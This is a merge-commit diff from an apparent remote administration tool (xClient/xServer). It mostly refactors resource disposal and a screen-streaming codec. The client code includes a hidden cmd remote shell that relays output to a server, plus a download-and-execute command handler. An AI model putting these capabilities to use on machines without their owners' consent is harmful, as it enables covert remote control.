Merge pull request #3 from MaxXor/master

Merge with most recent branch
This commit is contained in:
Justin Yanke 2015-05-18 20:28:19 -04:00
commit d20dcc3fed
7 changed files with 276 additions and 207 deletions

View File

@ -69,11 +69,7 @@ namespace xClient.Core.Commands
public static void CloseShell()
{
if (_shell != null)
{
_shell.CloseSession();
_shell = null;
}
_shell.Dispose();
}
public static void HandleDownloadAndExecuteCommand(Packets.ServerPackets.DownloadAndExecute command,

View File

@ -33,7 +33,7 @@ namespace xClient.Core.Helper
private PixelFormat _encodedFormat;
private int _encodedWidth;
private int _encodedHeight;
private object _imageProcessLock = new object();
private readonly object _imageProcessLock = new object();
private JpgCompression _jpgCompression;
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
@ -65,8 +65,11 @@ namespace xClient.Core.Helper
lock (_imageProcessLock)
{
byte* pScan0 = (byte*) scan0.ToInt32();
if (!outStream.CanWrite)
{
throw new Exception("Must have access to Write in the Stream");
}
int stride = 0;
int rawLength = 0;
@ -95,6 +98,7 @@ namespace xClient.Core.Helper
this._encodedWidth = imageSize.Width;
this._encodedHeight = imageSize.Height;
this._encodeBuffer = new byte[rawLength];
fixed (byte* ptr = _encodeBuffer)
{
byte[] temp = null;
@ -110,15 +114,18 @@ namespace xClient.Core.Helper
return;
}
if (this._encodedFormat != format)
{
throw new Exception("PixelFormat is not equal to previous Bitmap");
}
else if (this._encodedWidth != imageSize.Width || this._encodedHeight != imageSize.Height)
{
throw new Exception("Bitmap width/height are not equal to previous bitmap");
}
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int totalDataLength = 0;
if (this._encodedFormat != format)
throw new Exception("PixelFormat is not equal to previous Bitmap");
if (this._encodedWidth != imageSize.Width || this._encodedHeight != imageSize.Height)
throw new Exception("Bitmap width/height are not equal to previous bitmap");
long totalDataLength = 0;
List<Rectangle> blocks = new List<Rectangle>();
@ -132,20 +139,26 @@ namespace xClient.Core.Helper
List<Rectangle> finalUpdates = new List<Rectangle>();
s = new Size(scanArea.Width, s.Height);
fixed (byte* encBuffer = _encodeBuffer)
{
var index = 0;
for (int y = scanArea.Y; y != scanArea.Height;)
for (int y = scanArea.Y; y != scanArea.Height; y += s.Height)
{
if (y == lasty)
{
s = new Size(scanArea.Width, lastSize.Height);
}
cBlock = new Rectangle(scanArea.X, y, scanArea.Width, s.Height);
int offset = (y*stride) + (scanArea.X*pixelSize);
if (memcmp(encBuffer + offset, pScan0 + offset, (uint) stride) != 0)
{
index = blocks.Count - 1;
if (blocks.Count != 0 && (blocks[index].Y + blocks[index].Height) == cBlock.Y)
{
cBlock = new Rectangle(blocks[index].X, blocks[index].Y, blocks[index].Width,
@ -157,34 +170,40 @@ namespace xClient.Core.Helper
blocks.Add(cBlock);
}
}
y += s.Height;
}
for (int i = 0; i < blocks.Count; i++)
{
s = new Size(CheckBlock.Width, blocks[i].Height);
int x = scanArea.X;
while (x != scanArea.Width)
for (int x = scanArea.X; x != scanArea.Width; x += s.Width)
{
if (x == lastx)
{
s = new Size(lastSize.Width, blocks[i].Height);
}
cBlock = new Rectangle(x, blocks[i].Y, s.Width, blocks[i].Height);
bool foundChanges = false;
int blockStride = pixelSize*cBlock.Width;
uint blockStride = (uint) (pixelSize*cBlock.Width);
for (int j = 0; j < cBlock.Height; j++)
{
int blockOffset = (stride*(cBlock.Y + j)) + (pixelSize*cBlock.X);
if (memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint) blockStride) != 0)
if (memcmp(encBuffer + blockOffset, pScan0 + blockOffset, blockStride) != 0)
{
foundChanges = true;
memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint) blockStride);
//copy-changes
}
memcpy(encBuffer + blockOffset, pScan0 + blockOffset, blockStride);
//copy-changes
}
if (foundChanges)
{
index = finalUpdates.Count - 1;
if (finalUpdates.Count > 0 &&
(finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
{
@ -198,102 +217,90 @@ namespace xClient.Core.Helper
finalUpdates.Add(cBlock);
}
}
x += s.Width;
}
}
}
/*int maxHeight = 0;
int maxWidth = 0;
for (int i = 0; i < finalUpdates.Count; i++)
{
if (finalUpdates[i].Height > maxHeight)
maxHeight = finalUpdates[i].Height;
maxWidth += finalUpdates[i].Width;
}
Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1);
int XOffset = 0;*/
for (int i = 0; i < finalUpdates.Count; i++)
{
Rectangle rect = finalUpdates[i];
int blockStride = pixelSize*rect.Width;
Bitmap tmpBmp = new Bitmap(rect.Width, rect.Height, format);
BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height),
ImageLockMode.ReadWrite, tmpBmp.PixelFormat);
for (int j = 0, offset = 0; j < rect.Height; j++)
Bitmap tmpBmp = null;
BitmapData tmpData = null;
long length;
try
{
int blockOffset = (stride*(rect.Y + j)) + (pixelSize*rect.X);
memcpy((byte*) tmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint) blockStride);
tmpBmp = new Bitmap(rect.Width, rect.Height, format);
tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height),
ImageLockMode.ReadWrite, tmpBmp.PixelFormat);
for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (stride*(rect.Y + j)) + (pixelSize*rect.X);
memcpy((byte*) tmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint) blockStride);
//copy-changes
offset += blockStride;
}
tmpBmp.UnlockBits(tmpData);
offset += blockStride;
}
/*using (Graphics g = Graphics.FromImage(bmp))
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);
length = outStream.Length;
long old = outStream.Position;
_jpgCompression.Compress(tmpBmp, ref outStream);
length = outStream.Position - length;
outStream.Position = old - 4;
outStream.Write(BitConverter.GetBytes(length), 0, 4);
outStream.Position += length;
}
finally
{
g.DrawImage(TmpBmp, new Point(XOffset, 0));
tmpBmp.UnlockBits(tmpData);
tmpBmp.Dispose();
}
XOffset += TmpBmp.Width;*/
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);
long length = outStream.Length;
long OldPos = outStream.Position;
_jpgCompression.Compress(tmpBmp, ref outStream);
length = outStream.Position - length;
outStream.Position = OldPos - 4;
outStream.Write(BitConverter.GetBytes((int) length), 0, 4);
outStream.Position += length;
tmpBmp.Dispose();
totalDataLength += (int) length + (4*5);
totalDataLength += length + (4*5);
}
/*if (finalUpdates.Count > 0)
{
byte[] lele = base.jpgCompression.Compress(bmp);
byte[] compressed = new SafeQuickLZ().compress(lele, 0, lele.Length, 1);
bool Won = lele.Length < outStream.Length;
bool CompressWon = compressed.Length < outStream.Length;
Console.WriteLine(Won + ", " + CompressWon);
}
bmp.Dispose();*/
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(totalDataLength), 0, 4);
blocks.Clear();
finalUpdates.Clear();
}
}
public unsafe Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
public unsafe Bitmap DecodeData(IntPtr codecBuffer, uint length)
{
if (Length < 4)
if (length < 4)
{
return _decodedBitmap;
}
int dataSize = *(int*) (codecBuffer);
int dataSize = *(int*) (CodecBuffer);
if (_decodedBitmap == null)
{
byte[] temp = new byte[dataSize];
fixed (byte* tempPtr = temp)
{
memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint) dataSize);
memcpy(new IntPtr(tempPtr), new IntPtr(codecBuffer.ToInt32() + 4), (uint) dataSize);
}
this._decodedBitmap = (Bitmap) Bitmap.FromStream(new MemoryStream(temp));
return _decodedBitmap;
}
else
{
return _decodedBitmap;
}
return _decodedBitmap;
}
public Bitmap DecodeData(Stream inStream)
@ -307,6 +314,7 @@ namespace xClient.Core.Helper
temp = new byte[dataSize];
inStream.Read(temp, 0, temp.Length);
this._decodedBitmap = (Bitmap) Bitmap.FromStream(new MemoryStream(temp));
return _decodedBitmap;
}
@ -320,20 +328,22 @@ namespace xClient.Core.Helper
Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int updateLen = BitConverter.ToInt32(tempData, 16);
tempData = null;
byte[] buffer = new byte[updateLen];
inStream.Read(buffer, 0, buffer.Length);
using (MemoryStream m = new MemoryStream(buffer))
using (Bitmap tmp = (Bitmap) Image.FromStream(m))
{
g.DrawImage(tmp, rect.Location);
using (Bitmap tmp = (Bitmap) Image.FromStream(m))
{
g.DrawImage(tmp, rect.Location);
}
}
buffer = null;
dataSize -= updateLen + (4*5);
}
}
return _decodedBitmap;
}
}

View File

@ -1,16 +1,18 @@
using System;
using System.Diagnostics;
using System.IO;
using System.Threading;
namespace xClient.Core.RemoteShell
{
public class Shell
public class Shell : IDisposable
{
private Process _prc;
private bool _read;
private void CreateSession()
{
_read = true;
_prc = new Process
{
StartInfo = new ProcessStartInfo("cmd")
@ -20,16 +22,18 @@ namespace xClient.Core.RemoteShell
RedirectStandardOutput = true,
RedirectStandardError = true,
CreateNoWindow = true,
WorkingDirectory = @"C:\",
WorkingDirectory = Path.GetPathRoot(Environment.GetFolderPath(Environment.SpecialFolder.System)),
Arguments = "/K"
}
};
_prc.Start();
new Thread(Redirect).Start();
Thread.Sleep(100);
new Packets.ClientPackets.ShellCommandResponse(">> New Session created" + Environment.NewLine).Execute(
Program.ConnectClient);
new Thread(Redirect).Start();
}
private void Redirect()
@ -61,8 +65,10 @@ namespace xClient.Core.RemoteShell
public bool ExecuteCommand(string command)
{
if (_prc.HasExited)
return false;
if (_prc == null || _prc.HasExited)
CreateSession();
if (_prc == null) return false;
_prc.StandardInput.WriteLine(command);
_prc.StandardInput.Flush();
@ -72,49 +78,35 @@ namespace xClient.Core.RemoteShell
public Shell()
{
_read = true;
CreateSession();
}
~Shell()
public void Dispose()
{
_read = false;
try
{
if (_prc != null && !_prc.HasExited)
{
_prc.Kill();
_prc.Dispose();
_prc = null;
new Packets.ClientPackets.ShellCommandResponse(">> Session closed" + Environment.NewLine).Execute(
Program.ConnectClient);
}
}
catch
{
}
Dispose(true);
GC.SuppressFinalize(this);
}
public void CloseSession()
protected virtual void Dispose(bool disposing)
{
_read = false;
try
if (disposing)
{
if (_prc != null && !_prc.HasExited)
try
{
_read = false;
if (_prc != null)
{
if (!_prc.HasExited)
_prc.Kill();
_prc.Dispose();
_prc = null;
}
GC.SuppressFinalize(this);
}
catch
{
_prc.Kill();
_prc.Dispose();
_prc = null;
new Packets.ClientPackets.ShellCommandResponse(">> Session closed" + Environment.NewLine).Execute(
Program.ConnectClient);
}
// The session has already been closed, so there is no reason to make
// the garbage collector waste lots of time finalizing it.
GC.SuppressFinalize(this);
}
catch
{
}
}
}

View File

@ -35,6 +35,11 @@ namespace xServer.Core.Commands
// we can not dispose all bitmaps here, cause they are later used again in `client.Value.LastDesktop`
if (client.Value.LastDesktop == null)
{
if (client.Value.StreamCodec != null)
{
client.Value.StreamCodec.Dispose();
}
client.Value.StreamCodec = new UnsafeStreamCodec();
if (client.Value.LastQuality != packet.Quality || client.Value.LastMonitor != packet.Monitor)
{
@ -69,6 +74,11 @@ namespace xServer.Core.Commands
{
if (client.Value.LastQuality != packet.Quality || client.Value.LastMonitor != packet.Monitor)
{
if (client.Value.StreamCodec != null)
{
client.Value.StreamCodec.Dispose();
}
client.Value.StreamCodec = new UnsafeStreamCodec();
client.Value.LastQuality = packet.Quality;
client.Value.LastMonitor = packet.Monitor;

View File

@ -1,10 +1,11 @@
using System.Drawing;
using System;
using System.Drawing;
using System.Drawing.Imaging;
using System.IO;
namespace xServer.Core.Compression
{
public class JpgCompression
public class JpgCompression : IDisposable
{
private readonly ImageCodecInfo _encoderInfo;
private readonly EncoderParameters _encoderParams;
@ -18,6 +19,24 @@ namespace xServer.Core.Compression
this._encoderParams.Param[1] = new EncoderParameter(Encoder.Compression, (long) EncoderValue.CompressionRle);
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
if (_encoderParams != null)
{
_encoderParams.Dispose();
}
}
}
public byte[] Compress(Bitmap bmp)
{
using (MemoryStream stream = new MemoryStream())

View File

@ -8,7 +8,7 @@ using xServer.Core.Compression;
namespace xServer.Core.Helper
{
public class UnsafeStreamCodec
public class UnsafeStreamCodec : IDisposable
{
private int _imageQuality;
@ -20,6 +20,12 @@ namespace xServer.Core.Helper
lock (_imageProcessLock)
{
_imageQuality = value;
if (_jpgCompression != null)
{
_jpgCompression.Dispose();
}
_jpgCompression = new JpgCompression(_imageQuality);
}
}
@ -31,7 +37,7 @@ namespace xServer.Core.Helper
private PixelFormat _encodedFormat;
private int _encodedWidth;
private int _encodedHeight;
private object _imageProcessLock = new object();
private readonly object _imageProcessLock = new object();
private JpgCompression _jpgCompression;
[DllImport("msvcrt.dll", CallingConvention = CallingConvention.Cdecl)]
@ -55,14 +61,42 @@ namespace xServer.Core.Helper
this.CheckBlock = new Size(50, 1);
}
public void Dispose()
{
Dispose(true);
// Tell the Garbage Collector to not waste time finalizing this object
// since we took care of it.
GC.SuppressFinalize(this);
}
protected virtual void Dispose(bool disposing)
{
if (disposing)
{
if (_decodedBitmap != null)
{
_decodedBitmap.Dispose();
}
if (_jpgCompression != null)
{
_jpgCompression.Dispose();
}
}
}
public unsafe void CodeImage(IntPtr scan0, Rectangle scanArea, Size imageSize, PixelFormat format,
Stream outStream)
{
lock (_imageProcessLock)
{
byte* pScan0 = (byte*) scan0.ToInt32();
if (!outStream.CanWrite)
{
throw new Exception("Must have access to Write in the Stream");
}
int stride = 0;
int rawLength = 0;
@ -91,6 +125,7 @@ namespace xServer.Core.Helper
this._encodedWidth = imageSize.Width;
this._encodedHeight = imageSize.Height;
this._encodeBuffer = new byte[rawLength];
fixed (byte* ptr = _encodeBuffer)
{
byte[] temp = null;
@ -106,15 +141,18 @@ namespace xServer.Core.Helper
return;
}
if (this._encodedFormat != format)
{
throw new Exception("PixelFormat is not equal to previous Bitmap");
}
else if (this._encodedWidth != imageSize.Width || this._encodedHeight != imageSize.Height)
{
throw new Exception("Bitmap width/height are not equal to previous bitmap");
}
long oldPos = outStream.Position;
outStream.Write(new byte[4], 0, 4);
int totalDataLength = 0;
if (this._encodedFormat != format)
throw new Exception("PixelFormat is not equal to previous Bitmap");
if (this._encodedWidth != imageSize.Width || this._encodedHeight != imageSize.Height)
throw new Exception("Bitmap width/height are not equal to previous bitmap");
long totalDataLength = 0;
List<Rectangle> blocks = new List<Rectangle>();
@ -128,20 +166,26 @@ namespace xServer.Core.Helper
List<Rectangle> finalUpdates = new List<Rectangle>();
s = new Size(scanArea.Width, s.Height);
fixed (byte* encBuffer = _encodeBuffer)
{
var index = 0;
for (int y = scanArea.Y; y != scanArea.Height;)
for (int y = scanArea.Y; y != scanArea.Height; y += s.Height)
{
if (y == lasty)
{
s = new Size(scanArea.Width, lastSize.Height);
}
cBlock = new Rectangle(scanArea.X, y, scanArea.Width, s.Height);
int offset = (y*stride) + (scanArea.X*pixelSize);
if (memcmp(encBuffer + offset, pScan0 + offset, (uint) stride) != 0)
{
index = blocks.Count - 1;
if (blocks.Count != 0 && (blocks[index].Y + blocks[index].Height) == cBlock.Y)
{
cBlock = new Rectangle(blocks[index].X, blocks[index].Y, blocks[index].Width,
@ -153,34 +197,40 @@ namespace xServer.Core.Helper
blocks.Add(cBlock);
}
}
y += s.Height;
}
for (int i = 0; i < blocks.Count; i++)
{
s = new Size(CheckBlock.Width, blocks[i].Height);
int x = scanArea.X;
while (x != scanArea.Width)
for (int x = scanArea.X; x != scanArea.Width; x += s.Width)
{
if (x == lastx)
{
s = new Size(lastSize.Width, blocks[i].Height);
}
cBlock = new Rectangle(x, blocks[i].Y, s.Width, blocks[i].Height);
bool foundChanges = false;
int blockStride = pixelSize*cBlock.Width;
uint blockStride = (uint) (pixelSize*cBlock.Width);
for (int j = 0; j < cBlock.Height; j++)
{
int blockOffset = (stride*(cBlock.Y + j)) + (pixelSize*cBlock.X);
if (memcmp(encBuffer + blockOffset, pScan0 + blockOffset, (uint) blockStride) != 0)
if (memcmp(encBuffer + blockOffset, pScan0 + blockOffset, blockStride) != 0)
{
foundChanges = true;
memcpy(encBuffer + blockOffset, pScan0 + blockOffset, (uint) blockStride);
//copy-changes
}
memcpy(encBuffer + blockOffset, pScan0 + blockOffset, blockStride);
//copy-changes
}
if (foundChanges)
{
index = finalUpdates.Count - 1;
if (finalUpdates.Count > 0 &&
(finalUpdates[index].X + finalUpdates[index].Width) == cBlock.X)
{
@ -194,102 +244,90 @@ namespace xServer.Core.Helper
finalUpdates.Add(cBlock);
}
}
x += s.Width;
}
}
}
/*int maxHeight = 0;
int maxWidth = 0;
for (int i = 0; i < finalUpdates.Count; i++)
{
if (finalUpdates[i].Height > maxHeight)
maxHeight = finalUpdates[i].Height;
maxWidth += finalUpdates[i].Width;
}
Bitmap bmp = new Bitmap(maxWidth+1, maxHeight+1);
int XOffset = 0;*/
for (int i = 0; i < finalUpdates.Count; i++)
{
Rectangle rect = finalUpdates[i];
int blockStride = pixelSize*rect.Width;
Bitmap tmpBmp = new Bitmap(rect.Width, rect.Height, format);
BitmapData tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height),
ImageLockMode.ReadWrite, tmpBmp.PixelFormat);
for (int j = 0, offset = 0; j < rect.Height; j++)
Bitmap tmpBmp = null;
BitmapData tmpData = null;
long length;
try
{
int blockOffset = (stride*(rect.Y + j)) + (pixelSize*rect.X);
memcpy((byte*) tmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint) blockStride);
tmpBmp = new Bitmap(rect.Width, rect.Height, format);
tmpData = tmpBmp.LockBits(new Rectangle(0, 0, tmpBmp.Width, tmpBmp.Height),
ImageLockMode.ReadWrite, tmpBmp.PixelFormat);
for (int j = 0, offset = 0; j < rect.Height; j++)
{
int blockOffset = (stride*(rect.Y + j)) + (pixelSize*rect.X);
memcpy((byte*) tmpData.Scan0.ToPointer() + offset, pScan0 + blockOffset, (uint) blockStride);
//copy-changes
offset += blockStride;
}
tmpBmp.UnlockBits(tmpData);
offset += blockStride;
}
/*using (Graphics g = Graphics.FromImage(bmp))
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);
length = outStream.Length;
long old = outStream.Position;
_jpgCompression.Compress(tmpBmp, ref outStream);
length = outStream.Position - length;
outStream.Position = old - 4;
outStream.Write(BitConverter.GetBytes(length), 0, 4);
outStream.Position += length;
}
finally
{
g.DrawImage(TmpBmp, new Point(XOffset, 0));
tmpBmp.UnlockBits(tmpData);
tmpBmp.Dispose();
}
XOffset += TmpBmp.Width;*/
outStream.Write(BitConverter.GetBytes(rect.X), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Width), 0, 4);
outStream.Write(BitConverter.GetBytes(rect.Height), 0, 4);
outStream.Write(new byte[4], 0, 4);
long length = outStream.Length;
long OldPos = outStream.Position;
_jpgCompression.Compress(tmpBmp, ref outStream);
length = outStream.Position - length;
outStream.Position = OldPos - 4;
outStream.Write(BitConverter.GetBytes((int) length), 0, 4);
outStream.Position += length;
tmpBmp.Dispose();
totalDataLength += (int) length + (4*5);
totalDataLength += length + (4*5);
}
/*if (finalUpdates.Count > 0)
{
byte[] lele = base.jpgCompression.Compress(bmp);
byte[] compressed = new SafeQuickLZ().compress(lele, 0, lele.Length, 1);
bool Won = lele.Length < outStream.Length;
bool CompressWon = compressed.Length < outStream.Length;
Console.WriteLine(Won + ", " + CompressWon);
}
bmp.Dispose();*/
outStream.Position = oldPos;
outStream.Write(BitConverter.GetBytes(totalDataLength), 0, 4);
blocks.Clear();
finalUpdates.Clear();
}
}
public unsafe Bitmap DecodeData(IntPtr codecBuffer, uint length)
{
if (length < 4)
{
return _decodedBitmap;
}
int dataSize = *(int*) (codecBuffer);
if (_decodedBitmap == null)
{
byte[] temp = new byte[dataSize];
fixed (byte* tempPtr = temp)
{
memcpy(new IntPtr(tempPtr), new IntPtr(codecBuffer.ToInt32() + 4), (uint) dataSize);
}
this._decodedBitmap = (Bitmap) Bitmap.FromStream(new MemoryStream(temp));
return _decodedBitmap;
}
else
{
return _decodedBitmap;
}
return _decodedBitmap;
}
public Bitmap DecodeData(Stream inStream)
@ -303,6 +341,7 @@ namespace xServer.Core.Helper
temp = new byte[dataSize];
inStream.Read(temp, 0, temp.Length);
this._decodedBitmap = (Bitmap) Bitmap.FromStream(new MemoryStream(temp));
return _decodedBitmap;
}
@ -316,20 +355,22 @@ namespace xServer.Core.Helper
Rectangle rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
int updateLen = BitConverter.ToInt32(tempData, 16);
tempData = null;
byte[] buffer = new byte[updateLen];
inStream.Read(buffer, 0, buffer.Length);
using (MemoryStream m = new MemoryStream(buffer))
using (Bitmap tmp = (Bitmap) Image.FromStream(m))
{
g.DrawImage(tmp, rect.Location);
using (Bitmap tmp = (Bitmap) Image.FromStream(m))
{
g.DrawImage(tmp, rect.Location);
}
}
buffer = null;
dataSize -= updateLen + (4*5);
}
}
return _decodedBitmap;
}
}

View File

@ -103,7 +103,8 @@ namespace xServer.Forms
private void btnStop_Click(object sender, EventArgs e)
{
RefreshTimer.Stop();
if (RefreshTimer != null)
RefreshTimer.Stop();
btnStart.Enabled = true;
btnStop.Enabled = false;
if (SocksServer != null)
@ -181,4 +182,4 @@ namespace xServer.Forms
}
}
}
}
}